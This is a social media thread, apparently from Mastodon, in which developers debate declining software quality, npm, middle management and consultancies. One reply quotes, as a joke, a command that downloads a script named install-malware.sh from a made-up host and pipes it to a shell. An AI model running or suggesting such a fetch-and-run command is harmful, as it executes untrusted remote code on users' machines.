Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake.
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@bert_hubert @bagder @hyc @vitaut
When I started the Varnish Cache project, I explicitly tried to dial code quality up to 11, as an experiment to see if that was a feasible strategy.
With less than 20 CVE's in 20 years, I think we have given existence proof that "artisan code" is a valid way to produce high-consequence software (see also: sqlite)
But at the same time, we are very far from "install and forget" when you have to patch once a year.
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@abhayakara @bert_hubert Fair, although that is not my intention, I am fighting it, and trying to fix things, but that doesn't stop me from acknowledging that it feels more than a little quixotic.
I hear you. I guess I'm arguing that imagining that this work is quixotic is unnecessarily self-deprecating. This work is essential. It's just that not everybody understands that yet. The future is here now, just not evenly distributed.
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Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.
@bert_hubert it rhymes with flooding the zone with shit. Billionaires win if users and product owners would stop expecting quality, because then there's no longer a point in becoming a good dev. In Silicon Valley they gave those folks at least a sense of ownership and pride. But now that is threatening their businesses. Because high performers can leave if they don't agree with the company politics. If poor quality is the norm, they can hire poor, mediocre devs who won't complain instead.
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Did we have npm in the nineties? I think that's an example of what Bert is pointing to. We were certainly moving in that direction, but the days of "wget http://www.trustme.org/install-malware.sh |sh" hadn't really come yet.
@abhayakara @bert_hubert But then, the early oughts were the heyday of email viruses and people slapping together snippets of PHP they found on the Internet without understanding what they did.
The groundwork for OpenSSL becoming somewhat problematic was laid during that time as well.
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Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.
@bert_hubert I can summarize the post and point the finger at the responsible party in one sentence: middle management ruined software development.
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Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.
@bert_hubert @bagder @hyc @vitaut I mean yes but mostly because the outcome don't matters...
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Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.
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@bert_hubert @bagder @hyc @vitaut I mean yes but mostly because the outcome don't matters...
@Di4na @bert_hubert @bagder @vitaut if the outcome truly doesn't matter then it's probably software that didn't need to be written in the first place.
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@Di4na @bert_hubert @bagder @vitaut if the outcome truly doesn't matter then it's probably software that didn't need to be written in the first place.
@hyc @bert_hubert @bagder @vitaut well depend. For the user yes.
For the people being paid and having to provide a plausible lies to investors to keep being paid, no.
Value judgement are rarely that absolute. Do i think we would be better off with a world in which we don't end up needing so much plausible lies as the main way to pay software devs? Yes
But the (inefficient) byproduct is a lot of paid software devs doing FOSS so...
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@bert_hubert @bagder @hyc @vitaut
In a similar vein. https://techtrenches.dev/p/the-great-software-quality-collapse@MortonRobD @bert_hubert @bagder @hyc @vitaut I'm a bit uncomfortable with the fact that this article sounds like the output of an LLM though (complete with weird diagrams and other tell tale sentence constructions, and some technical arguments that a knowledgeable engineer probably wouldn't have made
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@MortonRobD @bert_hubert @bagder @hyc @vitaut I'm a bit uncomfortable with the fact that this article sounds like the output of an LLM though (complete with weird diagrams and other tell tale sentence constructions, and some technical arguments that a knowledgeable engineer probably wouldn't have made
)@jpetazzo @bert_hubert @bagder @hyc @vitaut
Interesting. It looked to me like it was originally done as a presentation - bullet points etc. Can you identify some of those technical arguments please? Genuine interest. -
Tempted to write a post that software development lost the plot a long time ago, and that the recent LLM developments are merely the icing on that cake. Software these days is not the painstaking work by people like @bagder or @hyc or @vitaut who write the best code they possibly can. Over the past decade, "the software world" has been developing in a very different way than that.
@bert_hubert fair to say we lost the plot not long after the dot-bombs. "Ship it" was more important than if it even functioned as described. People continually talk shit about dot-bombs from a place of ignorance.
But they cared about building something that worked. Customers wouldn't come if it didn't work.
Now the model is "fuck you, you have to use shitware, so why would we give a damn? Here's a worthless 'feature' nobody wanted so a manager could hit a LoC metric." -
@bert_hubert I can summarize the post and point the finger at the responsible party in one sentence: middle management ruined software development.
@elricofmelnibone @bert_hubert let me add: the big consulting smokesellers ruined the whole profession.
Yeah, I’m looking at you, Accenture. And you, McKinsey. And at everyone else in that ‘trade’.
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